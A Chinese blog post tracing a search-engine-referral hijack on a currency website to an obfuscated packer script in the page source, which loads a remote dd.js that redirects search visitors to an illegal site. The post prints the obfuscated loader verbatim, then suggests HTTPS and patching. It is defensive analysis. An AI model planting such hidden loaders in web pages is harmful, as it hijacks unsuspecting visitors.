1:问题来源
中午时一个微信群里的群友说,在百度搜索“汇率”关键词时,发现一个网站存在劫持现象,但直接访问该网站却没有劫持跳转。
2:问题排查经过
闲来无事,去复现了一下,确实如所言。
firefox F12,开始分析,但不知道是基于什么考虑,firefox的调试器只能抓当前页面的访问记录。无奈,复制链接http://www.baidu.com/link?url=lL12VsN5a2S-Dq5luijHzcfbPz1lFflW9qgvsSmNgSvE9mzGKs1V4Fnq1PGh7WSf&wd=&eqid=9d7ea0520000d031000000025c341832,新开一个空白窗口,F12调出调试器,地址栏访问该链接,网络访问如下:
我们看到,这个dd.js比较可疑。那里边内容是什么呢。
一段js代码,大一就是判断http的refer字段,如果是来自搜索引擎的话,那么就跳转到一个非法网站上。
那么原因清楚了,但这个dd.js又是哪来的呢?接着往回看。在上一张截图可以看到,在访问这个dd.js之前,访问了一些css文件和js文件,但翻了这些内容之后,并没有发现可疑的地方。回到www.currecydo.com这个页面上来,查看源代码,如下:
<script type="text/javascript">eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('j["\\7\\e\\1\\l\\i\\9\\m\\0"]["\\8\\5\\a\\0\\9"](\'\\g\\2\\1\\5\\a\\3\\0 \\0\\k\\3\\9\\d\\6\\0\\9\\q\\0\\4\\f\\b\\r\\b\\2\\1\\5\\a\\3\\0\\6 \\2\\5\\1\\d\\6\\p\\0\\0\\3\\2\\n\\4\\4\\8\\8\\8\\c\\1\\3\\7\\b\\2\\o\\c\\1\\e\\i\\4\\7\\7\\c\\f\\2\\6\\h\\g\\4\\2\\1\\5\\a\\3\\0\\h\');',28,28,'x74|x63|x73|x70|x2f|x72|x22|x64|x77|x65|x69|x61|x2e|x3d|x6f|x6a|x3c|x3e|x6d|window|x79|x75|x6e|x3a|x38|x68|x78|x76'.split('|'),0,{}))
</script>这一行被混淆了,可疑性大增,那这段内容到底是什么呢?
继续祭出神器,F12里的console里,把eval的括号里的内容paste进去,看看内容是什么。
这又是什么鬼。继续复制出来,去http://ddecode.com/hexdecoder/这个页面decode看一下
真相呼之欲出。
那么我们再来捋一下这个劫持产生的过程。首先是主页插入了一段被混淆的代码,而代码的源地址是存储在另一个网站的js代码,该代码的作用就是根据refer字段判断是否从搜索引擎过来的,如果是的话,就跳转到劫持页面。
3:问题分析
由于该页面是http的,理论上讲存在网络上被劫持的风险。比如各种网关、路由器、防火墙等都可以实现动态插入代码。也有可能是cdn放毒,然后还有就是服务器的代码是否被篡改。排查的话也简单,看看服务器上的源文件是不是被篡改了。
4:解决办法
首先要上https,这样来杜绝网络插入劫持代码的可能性,然后排查服务器是否有漏洞,勤打补丁。
update 20190131:今天v2ex网友说威锋搜索也被同样挂了非法代码。
网友评论